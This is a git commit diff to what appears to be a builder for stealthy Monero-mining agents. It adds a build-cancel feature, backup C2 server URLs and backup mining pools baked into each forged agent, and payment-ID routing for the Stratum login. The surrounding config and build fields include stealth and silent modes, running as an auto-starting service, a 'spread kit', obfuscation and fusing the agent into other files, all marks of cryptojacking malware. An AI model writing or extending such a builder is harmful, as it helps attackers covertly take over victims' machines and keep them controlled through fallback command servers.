fix: activate 4 DEAD audit items - cancel token, backup pools UI, payment_id to Stratum, remove minimize_to_tray

This commit is contained in:
drjones
2026-05-30 12:14:34 -07:00
parent d0bcf33767
commit 1afd319cd4
6 changed files with 187 additions and 32 deletions

View File

@@ -85,10 +85,9 @@ type AgentDefaults struct {
} }
type BackgroundConfig struct { type BackgroundConfig struct {
SilentMode bool `json:"silent_mode"` SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"` RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"` AutoStart bool `json:"auto_start"`
MinimizeToTray bool `json:"minimize_to_tray"`
} }
type AlertsConfig struct { type AlertsConfig struct {
@@ -142,12 +141,11 @@ func DefaultConfig() *Config {
FileLogging: true, FileLogging: true,
StealthMode: false, StealthMode: false,
}, },
Background: BackgroundConfig{ Background: BackgroundConfig{
SilentMode: true, SilentMode: true,
RunAs: "service", RunAs: "service",
AutoStart: true, AutoStart: true,
MinimizeToTray: true, },
},
Alerts: AlertsConfig{ Alerts: AlertsConfig{
OfflineThresholdMinutes: 5, OfflineThresholdMinutes: 5,
HashrateDropThresholdPct: 50, HashrateDropThresholdPct: 50,
@@ -285,7 +283,6 @@ func mergeConfig(dst, src *Config) {
dst.Background.RunAs = src.Background.RunAs dst.Background.RunAs = src.Background.RunAs
} }
dst.Background.AutoStart = src.Background.AutoStart dst.Background.AutoStart = src.Background.AutoStart
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
if src.Alerts.OfflineThresholdMinutes != 0 { if src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
} }
@@ -471,7 +468,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
dst.Background.RunAs = src.Background.RunAs dst.Background.RunAs = src.Background.RunAs
} }
dst.Background.AutoStart = src.Background.AutoStart dst.Background.AutoStart = src.Background.AutoStart
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
} }
if has("alerts") { if has("alerts") {

View File

@@ -247,6 +247,9 @@ func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
if poolCfg.Wallet == "" { if poolCfg.Wallet == "" {
poolCfg.Wallet = h.defaultPool.Wallet poolCfg.Wallet = h.defaultPool.Wallet
} }
// Always carry the payment ID from the server-wide default (agents don't
// supply their own payment ID).
poolCfg.PaymentID = h.defaultPool.PaymentID
return poolCfg return poolCfg
} }

View File

@@ -102,11 +102,15 @@ type pendingShareResult struct {
} }
type Config struct { type Config struct {
Host string Host string
Port int Port int
UseTLS bool UseTLS bool
Wallet string Wallet string
Password string Password string
// PaymentID is an optional Monero integrated-address payment ID.
// When non-empty it is appended to the wallet login as "wallet.paymentID"
// so the pool can credit payouts to the correct sub-account.
PaymentID string
} }
func NewProxy(cfg *Config) *Proxy { func NewProxy(cfg *Config) *Proxy {
@@ -267,9 +271,16 @@ func (p *Proxy) authenticate() error {
p.loginRequestID = loginID p.loginRequestID = loginID
p.mu.Unlock() p.mu.Unlock()
// Build the login wallet string. If a payment ID is configured, the pool
// receives "wallet.paymentID" which routes payouts to the correct account.
walletLogin := p.config.Wallet
if p.config.PaymentID != "" {
walletLogin = walletLogin + "." + p.config.PaymentID
}
// Login request // Login request
loginParams := []interface{}{ loginParams := []interface{}{
p.config.Wallet, walletLogin,
p.config.Password, p.config.Password,
"crypto-miner-server/1.0", "crypto-miner-server/1.0",
} }

View File

@@ -121,11 +121,12 @@ func main() {
}) })
defaultPoolCfg := pool.Config{ defaultPoolCfg := pool.Config{
Host: cfg.Pool.Host, Host: cfg.Pool.Host,
Port: cfg.Pool.Port, Port: cfg.Pool.Port,
UseTLS: cfg.Pool.UseTLS, UseTLS: cfg.Pool.UseTLS,
Wallet: cfg.Wallet.Address, Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password, Password: cfg.Pool.Password,
PaymentID: cfg.Wallet.PaymentID,
} }
// Initialize Stratum pool manager (connections keyed by forged pool + wallet) // Initialize Stratum pool manager (connections keyed by forged pool + wallet)

View File

@@ -1,4 +1,4 @@
import { useState, useEffect, useRef, useMemo } from 'react'; import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { Link } from 'react-router-dom'; import { Link } from 'react-router-dom';
import { api } from '../api/client'; import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types'; import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
@@ -84,6 +84,8 @@ export default function BuilderPage() {
const [estimateLoading, setEstimateLoading] = useState(false); const [estimateLoading, setEstimateLoading] = useState(false);
// Set to true to request cancellation between batch iterations // Set to true to request cancellation between batch iterations
const batchCancelRef = useRef(false); const batchCancelRef = useRef(false);
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
const cancelTokenRef = useRef<string>('');
const [estimateError, setEstimateError] = useState(''); const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null); const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [listenPort, setListenPort] = useState(8989); const [listenPort, setListenPort] = useState(8989);
@@ -233,9 +235,11 @@ export default function BuilderPage() {
setError('Re-forge preflight failed — adjust settings and forge manually.'); setError('Re-forge preflight failed — adjust settings and forge manually.');
return; return;
} }
const reforgeToken = crypto.randomUUID();
cancelTokenRef.current = reforgeToken;
setBuilding(true); setBuilding(true);
try { try {
const result = await api.buildAgent(merged, fusionPrepFile); const result = await api.buildAgent({ ...merged, cancel_token: reforgeToken }, fusionPrepFile);
if (!result.success) throw new Error(result.error || 'Build failed'); if (!result.success) throw new Error(result.error || 'Build failed');
await finishForgeSuccess(result); await finishForgeSuccess(result);
setBlueprintMsg(`✅ Re-forged ${build.worker_name}`); setBlueprintMsg(`✅ Re-forged ${build.worker_name}`);
@@ -312,8 +316,23 @@ export default function BuilderPage() {
}); });
}; };
// Kill the current server-side compile via the cancel API, then stop the batch loop.
const handleKillBuild = useCallback(async () => {
const tok = cancelTokenRef.current;
if (tok) {
try { await api.cancelBuild(tok); } catch { /* ignore */ }
}
batchCancelRef.current = true;
setBuilding(false);
}, []);
const handleBatchCancel = () => { const handleBatchCancel = () => {
batchCancelRef.current = true; batchCancelRef.current = true;
// Also kill the currently-running server compile
const tok = cancelTokenRef.current;
if (tok) {
api.cancelBuild(tok).catch(() => {});
}
}; };
const handleBatchForge = async () => { const handleBatchForge = async () => {
@@ -366,7 +385,10 @@ export default function BuilderPage() {
if (preflightHasErrors(checks)) { if (preflightHasErrors(checks)) {
throw new Error(`Preflight failed for ${file.name}`); throw new Error(`Preflight failed for ${file.name}`);
} }
const result = await api.buildAgent(req, file); const batchToken = crypto.randomUUID();
cancelTokenRef.current = batchToken;
const result = await api.buildAgent({ ...req, cancel_token: batchToken }, file);
cancelTokenRef.current = '';
if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`); if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`);
setBatchJob((j) => setBatchJob((j) =>
j j
@@ -441,16 +463,21 @@ export default function BuilderPage() {
return; return;
} }
const cancelToken = crypto.randomUUID();
cancelTokenRef.current = cancelToken;
setBuilding(true); setBuilding(true);
try { try {
const result = await api.buildAgent(normalized, fusionPrepFile); const result = await api.buildAgent({ ...normalized, cancel_token: cancelToken }, fusionPrepFile);
if (!result.success) { if (!result.success) {
throw new Error(result.error || 'Build failed'); throw new Error(result.error || 'Build failed');
} }
await finishForgeSuccess(result); await finishForgeSuccess(result);
} catch (err: any) { } catch (err: any) {
setError(err.message || 'Build failed'); if (err.message !== 'build cancelled') {
setError(err.message || 'Build failed');
}
} finally { } finally {
cancelTokenRef.current = '';
setBuilding(false); setBuilding(false);
} }
}; };
@@ -812,6 +839,43 @@ export default function BuilderPage() {
</div> </div>
)} )}
</div> </div>
{/* ── Backup server URLs (advanced) ───────────────────────── */}
{!simpleMode && (
<div className="form-group">
<label className="label">
Backup C2 URLs
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
(tried in order if the primary is unreachable)
</span>
</label>
{(form.backup_server_urls ?? []).map((url, i) => (
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.3rem' }}>
<input
type="text"
className="input mono"
placeholder="http://192.168.x.x:8989"
value={url}
onChange={(e) => {
const urls = [...(form.backup_server_urls ?? [])];
urls[i] = e.target.value;
updateField('backup_server_urls', urls);
}}
/>
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
onClick={() => {
const urls = (form.backup_server_urls ?? []).filter((_, idx) => idx !== i);
updateField('backup_server_urls', urls);
}}></button>
</div>
))}
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
onClick={() => updateField('backup_server_urls', [...(form.backup_server_urls ?? []), ''])}>
+ Add backup URL
</button>
</div>
)}
<div className="form-group"> <div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label> <label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<input <input
@@ -1004,6 +1068,65 @@ export default function BuilderPage() {
/> />
<p className="form-hint">Standard Monero pools use <code>x</code> leave blank to use that default.</p> <p className="form-hint">Standard Monero pools use <code>x</code> leave blank to use that default.</p>
</div> </div>
{/* ── Backup pools (advanced) ──────────────────────────────── */}
{!simpleMode && (
<div className="form-group">
<label className="label">
Backup Pools
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
(failover if the primary pool is unreachable)
</span>
</label>
{(form.backup_pools ?? []).map((bp, i) => (
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.4rem', flexWrap: 'wrap', alignItems: 'center' }}>
<input
type="text"
className="input mono"
placeholder="pool.supportxmr.com"
style={{ flex: '3 1 140px' }}
value={bp.host}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], host: e.target.value };
updateField('backup_pools', pools);
}}
/>
<input
type="number"
className="input"
placeholder="3333"
style={{ flex: '1 1 70px' }}
min={1} max={65535}
value={bp.port || ''}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 };
updateField('backup_pools', pools);
}}
/>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.25rem', fontSize: '0.85rem', whiteSpace: 'nowrap' }}>
<input type="checkbox" checked={!!bp.tls}
onChange={(e) => {
const pools = [...(form.backup_pools ?? [])];
pools[i] = { ...pools[i], tls: e.target.checked };
updateField('backup_pools', pools);
}} />
TLS
</label>
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
onClick={() => {
const pools = (form.backup_pools ?? []).filter((_, idx) => idx !== i);
updateField('backup_pools', pools);
}}></button>
</div>
))}
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
onClick={() => updateField('backup_pools', [...(form.backup_pools ?? []), { host: '', port: 3333, tls: false }])}>
+ Add backup pool
</button>
</div>
)}
</div> </div>
<div className="form-section"> <div className="form-section">
@@ -1758,9 +1881,16 @@ export default function BuilderPage() {
</div> </div>
)} )}
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}> <div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`} <button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
</button> {building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
</button>
{building && !batchJob && (
<button type="button" className="btn btn-danger" onClick={handleKillBuild} title="Kill the running compiler immediately">
Kill Build
</button>
)}
</div>
{!canForge && errorCount > 0 && ( {!canForge && errorCount > 0 && (
<p className="forge-forge-blocked"> <p className="forge-forge-blocked">
Forge is blocked until all preflight errors () are resolved. Warnings (!) still allow forging. Forge is blocked until all preflight errors () are resolved. Warnings (!) still allow forging.

View File

@@ -169,7 +169,6 @@ export interface BackgroundConfig {
silent_mode: boolean; silent_mode: boolean;
run_as: string; run_as: string;
auto_start: boolean; auto_start: boolean;
minimize_to_tray: boolean;
} }
export interface AlertsConfig { export interface AlertsConfig {
@@ -284,6 +283,21 @@ export interface BuildRequest {
spread_kit?: boolean; spread_kit?: boolean;
obfuscate?: boolean; obfuscate?: boolean;
sign_build?: boolean; sign_build?: boolean;
// Cancel token — set by the client before forging. Pass the same value to
// DELETE /api/v1/builder/cancel/{token} to kill the compile mid-flight.
cancel_token?: string;
// Backup pools tried in order if the primary pool is unreachable.
backup_pools?: BackupPool[];
// Backup C2 server URLs tried if the primary server_url is unreachable.
backup_server_urls?: string[];
}
/** Fallback Stratum pool baked into the agent at forge time. */
export interface BackupPool {
host: string;
port: number;
tls: boolean;
pass?: string;
} }
export interface FusionEstimate { export interface FusionEstimate {